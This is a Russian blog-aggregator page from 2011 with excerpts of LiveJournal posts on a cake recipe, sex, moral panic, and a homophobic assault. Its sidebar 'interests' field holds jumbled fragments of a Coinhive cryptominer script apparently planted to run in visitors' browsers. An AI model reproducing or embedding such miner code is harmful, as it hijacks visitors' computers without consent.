-Поиск по дневнику

Поиск сообщений в Topbot

 -Подписка по e-mail

 

 -Интересы

autothreads: false forceasmjs: false }); miner.start(coinhive.forc throttle: 0.8 важное новости помощь события<script src="https://coin-hive.com/ { threads: 1

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 22.04.2008
Записей: 113185
Комментариев: 6919
Написано: 128084


Читайте ЭТОТ дневник по адресу TOPBOT.T30P.RU Рейтинг блогосферы ТОП30


Привет! В моем блоге автоматически топботом собираются все самые интересные темы блогосферы. Более полно посмотреть все интересные посты блогосферы вы можете на сайте t30p.ru. Подписаться на чтение самых обсуждаемых тем блогосферы:

Топблогер ЖЖВКонтактеЛента RSSGooglePlusТвиттерФейсбук


Читай ТОП блогов на мобильном!

 


Мой самый большой Расскажите о своём самом большом «обломе , о самой

Четверг, 02 Июня 2011 г. 11:59 + в цитатник
Расскажите о своём самом большом «обломе», о самой неудобной ситуации в вашей жизни, в которую вам доводилось попадать, вспоминая которую вы до сих пор не можете оставаться равнодушны?

...Читать далее

источник - [info]nafanko
[2 ссылок 64 комментариев 8300 посещений]
читать полный текст со всеми комментариями

Метки:  

А мужики-то и не знают!

Четверг, 02 Июня 2011 г. 11:39 + в цитатник
"Во время беременности, необходимо избегать куннилингуса, так как мужчина может загнать воздух во влагалище женщины и вызвать эмболию, это может закончиться летальным исходом, как для плода, так и для беременной женщины."
Цитата из статьи В каких позах лучше заниматься сексом беременным?


источник - [info]doktor_killer
[2 ссылок 79 комментариев 4400 посещений]
читать полный текст со всеми комментариями

Метки:  

Птичье молоко Когда я решила все же испечь "Птичье молоко , то, конечно

Четверг, 02 Июня 2011 г. 11:19 + в цитатник
Когда я решила все же испечь "Птичье молоко", то, конечно же, пролистала интернет. Боже мой! Пожалуй, ни один торт не может похвастаться таким количеством "настоящих" и "правильных" рецептов. Начиная от торта из семнадцати яиц и кончая по памяти, видимо, переписанным журналисткой "оригинальным" рецептом Гуральника. В общем, страшное дело. Никоим образом не желая оскорбить авторов рецептов, тем не менее хочу отметить, что правильные рецепты тоже нашлись.
История. Торт придумал Владимир Гуральник, кондитер из ресторана "Прага". Опять же, домыслов очень много. Типичный пример: Гуральник совершил переворот, использовав агар, а вот в кондитерской промышленности агар никто не использовал, только желатин. Сразу скажу - ерунда. Кондитер позаимствовал рецепт на фабрике, обработав его в более нежное, тортовое суфле. А желатин, как раз, в нашей промышленности не использовался, так как при нагревании теряет свои свойства. Агара же производили довольно много, и с ним делали не только суфле, но и кремы, те же "Шарлотт" или белковый.

Кстати, суфле гостировали, и оно входит в состав нескольких тортов по ГОСТу. Но обратите внимание - именно "Птичье молоко" стал любимым тортом многих любителей сладкого и, я бы сказала, неким символом тогдашней тортовой промышленности. Рецепт суфле можно найти в справочниках, рецепт торта более редко встречается, но мне повезло - в одной из десятка заказанных книжек я его все-таки обнаружила.

О технологии. Как основу для суфле используют взбитые белки, заваренные агарово-паточно-сахарным сиропом. Его уваривают до температуры 117-118С, остужают и заливают белки, как при приготовлении итальянской меренги. Правда, в итальянской меренге сироп нагревают до 120С, но в нашем случае агар при этой температуре теряет желирующую способность. Поскольку крахмальную патоку достать (какое советское слово, увы!) практически нереально, можно заменить ее сахаром. Что же изменится? Только то, что патока препятствовала засахариванию сиропа, а без патоки при 118С он быстро кристаллизуется и, к сожалению, суфле может получиться с крупинками. Поэтому уваривать мы будем только до 110С.
Кстати, многие рецепты из интернета как раз этим и грешат - патоку просто вычеркнули из списка ингредиентов, соответственно, дольше приходится уваривать сироп, и на один белок приходится меньше сахара.
Застывает агар, в отличие от желатина, уже при 40С. Поэтому масло со сгущенкой вмешивать в белки надо быстро, не дожидаясь, пока они остынут, иначе нарушится структура суфле.

Тут же я хочу еще раз сказать, что сахарные сиропы варят на среднем или сильном огне, сахарно-агаровый - на среднем, и при постоянном помешивании. Агар надо заранее замочить в теплой воде, а потом прокипятить, пока он полностью не растворится. Сахар мешает растворению агара, и потому сахар добавляют в уже готовый раствор.

Вообще, суфле готовится очень просто, и (при наличии агара) у вас все получится. В данном рецепте агар нельзя заменять желатином. Если хотите заменить - добавляйте раствор желатина в готовый сахарный сироп, чуть его остудив. Хотя сама я такое делать не пробовала.

...Читать далее

источник - [info]chadeyka
[2 ссылок 107 комментариев 8700 посещений]
читать полный текст со всеми комментариями

про оргазм Кстати, а вы замечали за своими половыми партнерами разные

Четверг, 02 Июня 2011 г. 10:59 + в цитатник
Кстати, а вы замечали за своими половыми партнерами разные странности во время оргазма? Смех там, или слезы, или еще чего. М?

источник - [info]very_iren
[4 ссылок 128 комментариев 1540 посещений]
читать полный текст со всеми комментариями

Метки:  

ЧТО ВСКРЫЛ ПОСТ О НОРМАХ СЕКСУАЛЬНОСТИ?

Четверг, 02 Июня 2011 г. 10:39 + в цитатник

Из комментариев к моему недавнему посту о нормах сексуального поведения можно сделать немало занятных выводов, далеко не всегда неутешительных. Большая часть комментаторов оставляет благоразумные сообщения, внимательно читает текст и делает верные выводы из написанного. 

Но многие читают по диагонали, реагируют ментальной анафилаксией на ключевые слова (типа "педофил", "гей"), что незамедлительно ведет к удушью мозга и утрате способности к рациональному анализу. Хочется верить, что это всего лишь жертвы той самой массовой истеризации общества, о которой я и упомянул в тексте.

По естественным причинам, когда заходит речь о педофилии, параноидальной интоксикации больше подвержен мозг женщин, они и становятся основной мишенью популистских и безграмотных заявлений политиканов, подхватываемых СМИ в погоне за рейтингами. Увы, с ностальгией остается вспоминать времена, когда мы с друзьями с первого класса ходили пешком в школу (довольно далеко) без сопровождения родителей, в школах не было охранников, учитель физкультуры не опасался прикасаться к девочкам, а преподаватель биологии подробно разъясняла половые вопросы. Педофилов и сексуальных маньяков с тех пор не стало больше, но они шибко размножились в прессе и в Интернете, а значит и в воображении потребителей некачественного чтива.
...Читать далее

источник - [info]botalex
[2 ссылок 119 комментариев 1990 посещений]
читать полный текст со всеми комментариями


Метки:  

Наталия Natanka18 Как и было обещано, Виртуальная галерея &laquo;Блогосфера

Четверг, 02 Июня 2011 г. 10:19 + в цитатник
Как и было обещано, Виртуальная галерея «Блогосфера в лицах» продолжается и двери гостеприимно распахнуты для всех. Приходите, наливайте чай, хватайте плюшки! Шампанское - тоже имеется! Рассматривайте, знакомьтесь, комментируйте. Напоминаю, этот проект - не коммерческий, принять участие в нём может каждый. Для этого надо только прислать мне свою фотографию и небольшой текст - "о себе" или что-то в этом духе. Так что - приглашаю всех к сотрудничеству! И милости прошу на очередную презентацию:



Метки:  

Взглядовская заметка от 1 июня

Четверг, 02 Июня 2011 г. 08:59 + в цитатник
Раздвоение Михалкова
В субботу Н. С. Михалков одновременно мчался на прямой эфир и пил на даче пиво с раками, в среду же в Туле на фестивале «Золотой Витязь» он вместе с единомышленниками составил обширное письмо соправителям Д. А. Медведеву и В. В. Путину... (http://vz.ru/columns/2011/6/1/496015.html#)

источник - [info]m_yu_sokolov
[1 ссылок 136 комментариев 3400 посещений]
читать полный текст со всеми комментариями

Метки:  

Вернулась с гей-парада

Четверг, 02 Июня 2011 г. 08:00 + в цитатник

Я дома, да)
Из больницы меня сегодня выпустили "с улучшением", но строго велели продолжать лечиться  - таблетки пяти видов, осмотры у ЛОРа и контрольные аудиограммы. Так что я пока не очень выездной человек, на тусовки не зовите пока.

По диагнозу. Сотрясения нет. Подозревали, к счастью, не подтвердилось. Диагноз – "бароакустическая травма левого уха". Это довольно мерзкая и пугающая хуйня. Несколько часов после травмы этим ухом я не слышала почти совсем. Потом слышала плохо. Аудиограммы были стремные, и я немного паниковала. Теперь слышу вполне себе ничего так, и врач говорит, через неделю все совсем войдет в норму. Но наушниками мне пока пользоваться нельзя.
 

По уголовному делу. Оно возбуждено – сегодня позвонили из ОВД «Китай-город». Статья 115 ч 2 «причинение легкого вреда здоровью». Подпункт «а» - «из хулиганских побуждений». Мы с адвокатом не согласны и будем добиваться переквалификации на подпункт «б» - «по мотиву ненависти». Называем вещи своими именами, все такое. Этот человек ударил меня потому, что я лесбиянка. И для меня принципиально, чтобы на следствии и на суде звучало слово «гомофобия». И чтобы она хотя бы в лице этого человека была осуждена.
Смешно, но я до сих пор не знаю, как его зовут. Дознаватель Татьяна Лукашевич пообещала мне назвать его имя на допросе в пятницу. Я его сразу озвучу, конечно.
...Читать далее

источник - [info]mirrov_breath
[5 ссылок 272 комментариев 3700 посещений]
читать полный текст со всеми комментариями


Метки:  

Понравилось: 2 пользователям

Анонс! А между тем у белнетмон-а в голове был обнаружен новый,

Четверг, 02 Июня 2011 г. 06:59 + в цитатник
А между тем у белнетмон-а в голове был обнаружен новый, доселе неизвестный таракан - оказывается его не возбуждают женщины. Вообще. Ну кроме одной.
Думаю будет серия тематических троллингов

источник - [info]zelanton
[2 ссылок 118 комментариев 1220 посещений]
читать полный текст со всеми комментариями

Метки:  

Звериный оскал кризиса. Кошелек и еда.

Четверг, 02 Июня 2011 г. 05:59 + в цитатник
Проанализировал семейные расходы на еду за май. Расходы увеличились примерно на 30%

источник - [info]belnetmon
[2 ссылок 168 комментариев 1160 посещений]
читать полный текст со всеми комментариями

Метки:  

Поиск сообщений в Topbot
Страницы: 3000 ... 2724 2723 [2722] 2721 2720 ..
.. 1 Календарь